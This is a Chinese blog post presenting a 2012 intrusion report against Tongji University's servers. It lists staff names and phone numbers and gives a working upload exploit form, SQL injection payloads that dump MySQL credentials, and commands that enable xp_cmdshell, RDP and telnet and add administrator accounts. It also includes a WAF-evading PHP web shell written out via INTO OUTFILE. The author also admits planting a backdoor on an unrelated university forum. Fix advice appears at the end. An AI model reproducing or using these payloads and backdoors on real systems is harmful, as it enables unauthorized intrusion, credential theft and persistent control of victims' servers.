12年写的一份渗透测试报告

2012写的一份渗透报告,排版比较乱。

内容包含,基础渗透,内网渗透,asp代码审核,C语言代码审核,php代码审核,漏洞修复方法,安全建议等,本人水平有限,勿喷

目标:同济大学 域名:www.tongji.edu.cn

1.信息收集

收集www.tongji.edu.cn 网站 子站 信息 为后续渗透做好铺垫。

1.1 获取IP

使用Ping得到IP 202.120.189.3 address:上海   Ping 返回 Request timed out  不排除有防火墙 WAF等包过滤的可能         性。

1.2 Whois 查询

网段: 202.120.176.0 - 202.120.191.255

管理员联系:

Cui , Zijun (ZC3-CN)

+86-21-6598-9006

技术人员联系:

Wang , Zhengping (ZW2-CN)

+86 21 65025080 ext. 2840

最后更新记录在 19970627

记录于 19970627

dns.tongji.edu.cn 202.120.191.30

dns1.tongji.edu.cn 202.120.191.208

1.3 Mail:收集

Mail服务器:http://mail.tongji.edu.cn

碰过很多用邮箱前辍做密码的.

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

        

1.4 子域名收集

分布这个网段:202.120.189.3-202.120.189.255C段全部是WEB应用

同服网站:

http://www.tongji.edu.cn

http://news.tongji.edu.cn

http://gandong.tongji.edu.cn

http://photo.tongji.edu.cn

2. 扫描

nmap:

nmap -sS -sV -P0 -T4 -O -A -F -sC --version-light -v www.tongji.edu.cn

返回:

80/tcp open  http    nginx 1.0.8

|_http-methods: No Allow or Public header in OPTIONS response (status code 405)

|_http-title: \xE6\xAC\xA2\xE8\xBF\x8E\xE8\xAE\xBF\xE9\x97\xAE\xE5\x90\x8C\xE6\x

B5\x8E\xE5\xA4\xA7\xE5\xAD\xA6\xE4\xB8\xBB\xE9\xA1\xB5

nix  只对外开放一个80  估计是Iptables策略,信息收集的差不多这后
由于主站只开放一个WEB应用 。

只好转战WEB上来

3.web评估

首先使用首先使用Wet工具对镜点进行镜像:

爬完网站后,在网站目录结构下找到在一个叫SC的目录,该目录下找到一个asp的网站
测试一下了也没存在漏洞 还调用了防注入程序。

过滤GET POST COOKIE 提交过来的数据  主站无果  旁站也没有可拿到shell的漏洞,现在只好渗透分站了

找到一个Ip:202.120.189.3  此站服务器上只有一个站点
初步估计权限会很大 好提权 好吧 就它了

先测试注入:提交单引号:http://celiang.tongji.edu.cn/clwww/shownews.asp?id=65

居然玩跳转了:

这个跳转也暴露了,它网站使用的程序,是一套asp的cms,w78cms,估计大家都很熟悉,国内用的比较多吧.

这套程序存在一个上传漏洞,以下是分析过程:

Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sCusDir = Trim(Request.QueryString("cusdir"))
sParamSYFlag = Trim(Request.QueryString("syflag"))
sCusDir = Replace(sCusDir, "\", "/")
If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir, "./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then
sCusDir = ""

'这里程序员只考虑到了跨目录的问题
End If
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("parent.UploadError('style')")
End If
sBaseUrl = aStyleConfig(19)
nUploadObject = Clng(aStyleConfig(20))
nAutoDir = CLng(aStyleConfig(21))
sUploadDir = aStyleConfig(3)
If sBaseUrl<>"3" Then
If Left(sUploadDir, 1) <> "/" Then
sUploadDir = "../" & sUploadDir
End If
End If
Select Case sBaseUrl
Case "0", "3"
sContentPath = aStyleConfig(23)
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
If sBaseUrl<>"3" Then
sUploadDir = Server.Mappath(sUploadDir)    ‘这里创建目录
End If
If Right(sUploadDir,1)<>"\" Then
sUploadDir = sUploadDir & "\"
End If

很明显 程序员只考虑到跨目录的漏洞 没有过滤点号 最后创目录 结合IIS解析漏洞  导致漏洞形成。

漏洞修复方法:sCusDir = Replace(sCusDir, ".", "")

漏洞利用:

http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp

时程序会在uploadfile 目下创建一个名为Zvall.asp的文件夹

在利用这个HTML上传吧

<form action="http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp" method=post name=myform
enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>

上传成功后返回的源码:

传WEB后门发现服务器已被攻陷 有administrator组admin$帐号一枚,并且发现服务器支持JSP 默认是SYSTEM权限,

ipconfig /all后发现服务器有4张网卡
 其中一张是VirtualBox虚拟网卡.

多网段意味着渗透的空间更大,执行net
user Administrator命令后发现:管理员的最后登录时间为2012-8-14
7:00

看来服务器管理员经常来服务器 在查看了下administrator的桌面发现个bat

内容为:

ipconfig /release

ipconfig /renew

可以看出服务器的某张网卡采取的是dhcp方式

初步猜测管理员可能不是小白 所以类似进服务器桌面操作看起来有点不可取

但又没办法只好挂上一个VPN加一个跳板
再添加管理帐号

再用lcx.exe  转发端口

网络连接信息:

执行ipconfig /all:后发现有如下网段

网段1:     10.10.203.*

网段2:      192.168.0.*

网段3:      169.254.*
        DHCP

首先渗透 网段2:

先破系统hash为:gisgp**  由于服务器上装了chrome浏览器所以读读密码吧,例如上网上时表单的密码。不过运气并没有眷故我,没有读出密码在读其实WEB程序配置文件时发现本机的MSSQL存在一个弱口令 sa/password,由于没有将1433映射到公网所以降低了被渗透的风险

网卡2:ip为
 192.168.0.11

在枚举时发现192.168.0.12与192.168.0.11的Ntpass密码一样
果断连接ipc$

又现sql 弱口令一枚 看来这个管理员安全意低, 同时网段1
ip 为: 10.10.203.70
OS:windows  xp  存在NT弱口令。

简单测试了一下这个网段存在以下问题

  1. 管理的系统密码通用
  1. 同时管理的两台WEB应用服务器 MSSQL 都存在弱口令

到了这步 首先利用WMI 给服务器开telnet,服务器是ip:
192.168.0.12    OS:windows 2000

再telnet里 添加帐号 net
user Zvall Zvall/add& net localgroup administrators Zvall /add

由于服务器3389没有打开
 加之是windows 2000 网上的那些开3389的脚本都要重启

这里我想了一个不用重启的方法出来了脚本如下:

echo [Components] > c:\Zvall 

echo TSEnable = on >> c:\Zvall 

sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\Zvall /q  

执行以上脚本后无需重启即开3389  成功
good

哎 只有两三台服务器出搞了个domain,简直了:

由于此段只有几个IP 只好换网段再渗透:

现在目标定在:192.168.0.250.*  这个段上

首先收集内网中存活的IP:

Nmap -sP 192.168.o.o/24

在使用SuperScanner 扫C段常见的应用:

在观察端口时发现  192.168.250.3 服务器上的WEB应用程序属于开源程序BBS程序KBS

KBS bbs 是由C语言+php编写而成
于是下了源码分析了一下,发现存在一个上传漏洞

C代码 源码分析:

PHP_FUNCTION(bbs_upload_add_file)
{
    char *filename, *ofilename;
    int flen, oflen, ret;
    if (zend_parse_parameters(2 TSRMLS_CC, "ss/", &filename, &flen, &ofilename, &oflen) == FAILURE) {
        WRONG_PARAM_COUNT;
    }
    if (!flen || !oflen) {
        RETURN_ERROR(GENERAL);
    }
    ret = upload_add_file(filename, ofilename, getSession());
    switch (ret) {
        case -1:
            RETURN_ERROR(GENERAL);
            break;
        case -2:
            RETURN_ERROR(ATTACH_CLIMIT);
            break;
        case -3:
            RETURN_ERROR(ATTACH_INVALIDNAME);
            break;
        case -4:
            RETURN_ERROR(ATTACH_DUPNAME);
            break;
        case -5:
            RETURN_ERROR(GENERAL);
            break;
        case -6:
            RETURN_ERROR(ATTACH_SLIMIT);
            break;
        default:
            RETURN_LONG(0);
            break;
    }
}

upload_add_file:

int upload_add_file(const char *filename, char *original_filename, session_t *session)
{
    int ret = upload_add_file_helper(filename, original_filename, session);
    if (ret) unlink(filename);
    return(ret);
}

upload_add_file_helper:

static int upload_add_file_helper(const char *filename, char *original_filename, session_t *session)
{
    struct ea_attach_info ai[MAXATTACHMENTCOUNT];
    char attachdir[MAXPATH], attachfile[MAXPATH];
    FILE *fp;
    char buf[256];
    int i, n, len;
    int totalsize=0;
    char *pos1, *pos2;
    struct stat stat_buf;

    n = upload_read_fileinfo(ai, session);
    if (n >= MAXATTACHMENTCOUNT)
        return -2;

    pos1 = strrchr(original_filename, '\\');
    pos2 = strrchr(original_filename, '/');
    if (pos1 && pos2) {
        if (pos1 < pos2) pos1 = pos2;
        original_filename = pos1 + 1;
    } else {
        pos1 = pos1 ? pos1 : pos2;
        if (pos1) original_filename = pos1 + 1;
    }
    len = strlen(original_filename);
    if (!len)
        return -3;
    if (len > 60) {
        original_filename += (len-60);
        if (original_filename[-1] & 0x80) {
            original_filename++;
        }
    }
    filter_upload_filename(original_filename);  //过滤跨站字符

    for (i=0;i<n;i++) {
        if (strcmp(ai[i].name, original_filename) == 0) return -4;
        totalsize+=ai[i].size;
    }
    if (stat(filename, &stat_buf) != -1 && S_ISREG(stat_buf.st_mode)) {
        totalsize += stat_buf.st_size;
    } else {
        return -5;
    }
    if (!HAS_PERM(session->currentuser, PERM_SYSOP) && totalsize > MAXATTACHMENTSIZE) return -6;

    getattachtmppath(attachdir, MAXPATH, session);
    mkdir(attachdir, 0700);

    snprintf(attachfile, MAXPATH, "%s/%d_%d", attachdir, (int)(time(NULL)%10000), rand()%10000);
    f_mv(filename, attachfile);

    snprintf(buf, sizeof(buf), "%s %s\n", attachfile, original_filename);

    snprintf(attachfile, MAXPATH, "%s/.index", attachdir);
    if ((fp = fopen(attachfile, "a")) == NULL)
        return -1;
    fprintf(fp, "%s", buf);
    fclose(fp);
    return(0);
}

整个过程都没有检测上传文件类型,只过滤了一些跨站字符

首先在BBS上注册一个帐号

上传地址为: http://bbs.tongji.edu.cn/bbsupload.php?act=add

<?php

print `ls -la`;

?>

上传这个文件后突然发现访问不了网站了,上传txt又可以果然是WAF在作怪啊

据以往渗透的经验来看 初步估计192.168.250.* 这个网段有一台WAF

明显是检测 关键字 ,大概过了5分钟 左右 发现可以访问了

又上传一个传的文件<? print ‘Zvall‘;?>  ,此时WAF又中断了访问,看来是WAF检测了后辍名了。
再上传一个txt 返回正常

为了证明此漏洞的存在,我在网上找了个大学BBS站测试了一下,并成功上传php后门。

漏洞修复方法:使用白名单方式过滤filename ,把  Filepath定义成常量

到了这步只好继续看SuperScanner扫出的结果:

APPWEB  这不是嵌入式设备才有的么?

于是访问 192.168.250.254

果然是高级货Juniper
SRX3600  大学有钱呀

呵呵 难怪搞这个这么昂贵的设备呀 因为此网段全是WEB应用,现在只好继续查找其它WEB应用。

继续找到一个IP存在一个猪肉点 192.168.250.13

用的Asp.net程序存在 SA 权限 注点一个
数据库为: Mssql2008

提交:

http://gonghui.tongji.edu.cn/WebSite1/Public/NewsDetail.aspx?lastestnewsid=638+and+user>0

返回:

“/WebSite1”应用程序中的服务器错误。

在将 nvarchar 值 ‘dbo‘ 转换成数据类型 int 时失败。

http://gonghui.tongji.edu.cn/WebSite1/Public/NewsDetail.aspx?lastestnewsid=638+and+(select+IS_SRVROLEMEMBER(‘sysadmin‘))=1--

返回正常 当前是SA 由于mssql2008默认没有开启xp_cmdshell 所以还得开启它才执行命令,以用如下语句开启:

EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE;

再利用Pangolin执行命令

再直接来开3389  加管理员

执行REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD
/d 00000000 /f

执行完后 发现3389端口并没有打开

执行shutdown -r -t 0  返回: 计算机已经锁定而且不使用强制选项无法关机。(1271)

那就只有把管理员注销掉执行query
user 返回

枚举会话名时的错误 0x000006A6

错误[1702]:绑定句柄无效

哎 由于不知道管理员的会话ID 所以无法去注销了

现在只好开启telnet服务了

执行:

sc config tlntsvr start= auto

net start telnet

再加管理员

此时:192.168.250.13被成功攻陷

总结一下WEB程序漏洞修复方法:

Asp.net程序注入防护:

1.对用户传入的值进行强制类型转换

2.使用正则表达式验证控件对用户传入的值进行长度进行限制

3.对SQL语句使用命令参数方式

最后的渗透 --突破WAF

在继续查找此网段的WEB应用漏洞时,发现mba.tongji.edu.cn
这个站php写的

存在一个字符型mysql注入点,提交一个单引号后爆出绝对路径,后来发现不能用order
by 语句

分析下SQL语句:

SELECT * FROM (`tongji_page_info`) WHERE `id` = ‘111‘ order by 1 and ‘‘=‘‘ ORDER BY `id` DESC

有两个 order by

现在只好依次提交:

http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111‘/*--*/union+select/*--*/null,null,null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/‘‘=‘

返回正常

提交:

http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111‘/*--*/union/*--*/select/*--*/null,user(),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/‘‘=‘

返回:[email protected]

Mysql版本为:5.0.19-nt

测试读文件权限:

提交:

http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111111111111‘/*--*/union/*--*/all/*--*/select/*--*/null,concat(0x7e,0x27,load_file(0x433A5C626F6F742E696E69),0x27,0x7e),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/‘‘=‘

成功返回boot.ini文件

Into outfile Shell 写shell时发现失败,之前扫WEB目录时发现有phpmyadmin程序

在提交:

http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111111111111111‘/*--*/union/*--*/all/*--*/select/*--*/NULL,(select+concat(0x7e,0x27,unhex(Hex(cast(user+as+char))),0x3a,unhex(Hex(cast(password/*--*/as/*--*/char))),0x3a,unhex(Hex(cast(host/*--*/as/*--*/char))),0x27,0x7e)/*--*/from/*--*/mysql.user/*--*/limit/*--*/1,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/*--*/and/*--*/‘‘=‘

成功读出mysql root密码 破出其mysql HASH后  登录phpmyadmin

再执行以下sql写shell;

create table tmp(cmd TEXT);

insert into tmp values(‘<?copy($_FILES[Zvall][tmp_name],$_FILES[Zvall][name]);?>‘);select
* from tmp into outfile ‘E:\\Apache\\www\\system\\database\\ss2.php‘; drop table tmp;

在本地上传文件时 WAF 毫不留情的中断了俺的访问

再次尝试执行;

create table tmp(cmd TEXT);  insert into tmp values(‘<?eval($a);?>‘);select
* from tmp into outfile ‘E:\\Apache\\www\\system\\database\\ss2.php‘; drop table tmp;

放在菜刀里执行后 WAF 再次中断了我的访问

在市面上找了一些免杀的一句话 后还是过不了WAF这关呀

于是自己动手写了个小后门:

<?$bar = 's'.'y'.'s'.'t'.'e'.'m';
$gt = '_'.'G'.'E'.'T';
$bar(${$gt}['cmd']);?>

<?$bar = 's'.'y'.'s'.'t'.'e'.'m';$gt = '_'.'G'.'E'.'T';$bar(${$gt}['cmd']);?>

reate table tmp(cmd TEXT);
insert into tmp values('<?$bar = 's'.'y'.'s'.'t'.'e'.'m';$gt = '_'.'G'.'E'.'T';$bar(${$gt}['cmd']);?>
');select * from tmp into outfile 'E:\\Apache\\www\\Zvall.php'; drop table tmp;

可以了

访问:http://mba.tongji.edu.cn/Zvall.php?cmd=whoami 执行whoami命令

返回 nt authority\system,SYSTEM权限

在执行http://mba.tongji.edu.cn/Zvall.php?cmd=dir时发现了一个意思的东东

最后导致服务器攻陷的原因终根结底还是WEB应用程序漏洞所致

下面是漏洞程序分析:

类似这样的URL:http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111

都是基于路由模式

调用page.php中的pagedetail方法:

php源码审核:

function __construct(){
        parent::__construct();
        $this->load->helper('url');
        $this->load->model('Page_Info_Model');
        $this->load->helper('UtilClass');
    }

    public function pagedetail(){
        $id = Util::getPar('id');
        $where = "`id` = '".$id."'";
        $info = $this->Page_Info_Model->getInfo($where);
        //顶级页面 顶级下所有页面
        $topinfo = $this->Page_Info_Model->getTopInfo($id);
        $infos = $this->Page_Info_Model->getChilds($topinfo['id']);
        $result = array();
        $result['info']    = $info;
        $result['topinfo'] = $topinfo;
        $result['infos']   = $infos;
        $this->load->view('pagedetail', $result);
}

Util类Getpar 方法:

class Util{
    public static function getPar($name){
       if(!empty($_GET[$name])){
           return $_GET[$name];
       }elseif(!empty($_POST[$name])){
           return $_POST[$name];
       }elseif(!empty($_SESSION[$name])){
           return $_SESSION[$name];
       }elseif(!empty($_COOKIE[$name])){
           return $_COOKIE[$name];
       }else{
           return null;
       }
    }
 

直接去获取用户传过来的值无任何过滤。

漏洞修复方法:

1.WEB程序修复:

$id = (int)Util::getPar(‘id‘);

2.服务端设置建议

1.Phpmyadmin 不要放在WEB 根目录 将其改名

2.给apache mysql 降权 以低权限运行

3.给WEB 设置访问权限 禁用一些php危险函数如:System.shell_exec

4.3389端口映射到公网时。把端口改掉

总结

总结下各网段网络管理员的管理范畴中的不善:

网段1 :192.168.250.*
 

1.WAF 配置不当

2. WEB 应用程序漏洞

网段2:  10.10.203.*  

  1. 无软防与硬防
  1. 口令存取机制

3.WEB应程序漏洞

网段3:192.168.0.*

1.无软防 与硬防

2口令存取机制 通用密码

3.WEB应用程序漏洞

安全建议:

1.设备安全

  1. 不同VLAN之间最好隔离. 即使攻击者
    攻陷网段1 也无法访问网段2
  1. 交换机堆叠级联的问题. 如果有两个网关
    那么攻击者就可以 以单网卡多IP的方式

渗透其它网段

  1. 口令存取机制

建议设置强壮的密码, 不要使用QQ 生日
论坛 的帐号 密码做服务器密码

不要使用通用密码

  1. 软件 系统

定时更新系统补丁 以防 0day 提权漏洞

权限设置

  1. WEB 应用防护

由于WEB 应用多. 建议重新部署WAF的检测机制

EOF

---------------------------------------------------------------------------------------------------------------------------

时间: 2024-10-12 14:50:54

12年写的一份渗透测试报告的相关文章

老外的一份渗透测试报告

https://mp.weixin.qq.com/s?__biz=MzA3ODI1MjA1NA==&mid=2655063809&idx=1&sn=d9da16bb7a7d45fada1a5bec39b7fe54&scene=1&srcid=0711Di7bYE2lyQMyFvtB5cma&key=77421cf58af4a6538b61a2219d58ad5beeabc5e43f3d87dd7a3c98f2aa18a3058438a80984f769ae9

【成长大小事】写了一份自我感觉良好的功耗测试报告,结果没人给点赞也没人给批评。现在我们来谈谈感悟。

写了一份自我感觉良好的功耗测试报告,结果没人给点赞也没人给批评.现在我们来谈谈感悟. 1.一点点口水仗不必在意,能帮助公司解决问题,公司挣到钱就行吧! 2.这份报告,你不管数据来源的多么精确,做的多么用心,总会有人质疑你,因为他们需要站在他们的立场说话.所以在战场上,奋斗是持续性的. 3.我写出来的东西,被说不够简单.当他在黑板上密密麻麻的列了一黑板,最后得出来的结论就是我已经得出来的结论.我已经明白了,他们理解这一堆东西是辛苦的,他们自己想要给自己说明白,就是需要这一黑板的推理,说我写的不够简

程序员如何写出一份好的文档?

写文档的重要性 对于软件相关行业,在学校或单位大家也许都已经注意到了,除了要编写的程序.绘制设计图之外,还有一个重要的工作便是写文档.为什么要写文档呢?因为我们要把自己做的东西展示出来,不光展示给同行看,可能还要展示给其他岗位上的工作人员看,甚至展示给用户看.如果我们只是会写程序,不会在文档中恰当且优雅地描述自己的想法,那么就真正的成为“码农”了. 我注意了一下,周围的同事会写高质量文档的确实很少.李开复老师在<浪潮之巅>的序言中说到:“我认识很多顶尖的工程师,但具备强大叙事能力的优秀工程师,

准程序猿如何写出一份高逼格的简历 get√

文/上嵌科技(简书作者) 原文链接:http://www.jianshu.com/p/19271e870821 著作权归作者所有,转载请联系作者获得授权,并标注"简书作者". 马上就到毕业季了,很多同学想进入IT行业,应聘软件工程师,如何准备一份高质量的简历.还有的同学培训刚刚结束,自己也学得不错,简历也放到投到网上去,就是没有收到面试通知,是怎么回事?本文就教你如何提升你的简历质量. 一份简历如果拆开来看,无非包含以下几块: 个人基本信息 教育经历 工作和实习经历 项目经验 职业技能

程序员如何写出一份好的文档?(转)

程序员如何写出一份好的文档? 分类: 杂谈2015-06-10 16:37 1249人阅读 评论(6) 收藏 举报 在实际的软件开发工作中,除了编写代码之外,程序员还会花大量的时间来编写相关的研发文档,这些文档包括:详细设计文档.单元/集成测试文档.软件版本开发报告.软件安装说明.软件升级指导书等. 在<程序员既要写好代码,又要写好文档>(http://www.zhouzhaoxiong.com/142.html)一文中,我提到过:“代码”和“文档”就像是一个人的左膀右臂,一定要让两者均衡发展

无标题文章如何用163.net邮箱写好一份专业得体的商务邮件?

在当今社会,用微信,QQ沟通很方便,但是在工作中,很多时候,你和你客户交流是需要通过邮件的,而邮件是你塑造个人形象的唯一渠道.那么如何写好一份专业得体的商务邮件呢?小编给大家分享一下,助你在细节上脱颖而出.1.商务邮件,用163.net邮箱发送.163.net是邮箱是李嘉诚控股的TOM旗下的高端收费品牌,致力于为用户提供更安全.更稳定的邮箱服务,成功助力百万职场人高效办公.用免费邮箱发送,会给人一种不够专业的感觉. 2.邮箱名最好设置为自己的姓名简拼,千万不能是个性化或者二次元的名字.3.总结性

程序员去找工作,如何写好一份漂亮的简历,让公司立马录用

找工作的两大步骤 一.简历 首先我们说简历,一份好的简历是让别人还没有接触你的时候,就对你印象颇深.简历就好比你相亲时提供给对方的资料,未见其人,那就先从一份资料中了解这个人怎么样.如何把简历写的漂亮,是一门很深的学问.一份好的简历可以在整个申请面试以及面试过程中起到非常好的作用.在不特别夸大自己能力的情况下,写出一份好的简历是一项很强的能力,以后都能用到. 如果是比较大的公司,有非常严格的面试流程,首先第一关就是HR的筛选简历,由于大公司的面试特别多,HR在选简历的时候都是十几秒就会把你的简历

如何写好一份技术简历?

写简历的基本目的和策略 大部分情况下,写简历是找工作的第一步,考虑到第二步就是面试,那么简历就是敲门砖,为了让企业认识到你的价值,必须把自己的真实水平描述出来,展现出你有能力应对这份工作.甚至要体现出自己是某方面的杰出人才,因为只有足够优秀的人,企业才能更看重你,因为你会为企业带来不一样的价值,对应的待遇也将更好. 所以写简历的根本策略就是如实的体现出你的水平和阅历,那么如何体现呢?不是通过说,而是有一定的方法论去证明你具备足够的才华,简历虽然不是论文,但也要有一定的论证,让看简历的人觉得你优秀

有关工作和生活的感悟(写在第二份工作一年半之际)

换工作(没说跳槽,是因为,初始真没打算换,有点被逼的意思在里头),状态重新激活一次,头一年有压力,感觉进步也快,找对方向和路子,现在貌似遇到瓶颈期.环境适应,压力不是太大,动力略有不足,进步也变慢了,这样下去可不行,我要更上一层楼,应该还是有提升的空间,现在主要做vxworks下驱动的开发,以前一直想做的东西,现在有机会主力操刀,是要感谢现在的单位所给机会,得到了这个机会,却又有点松懈,觉得不过如此,最近软文看多了,马云之流,都是看未来5年甚至8年的发展方向,我等对自己能看个3~5年,对自己必是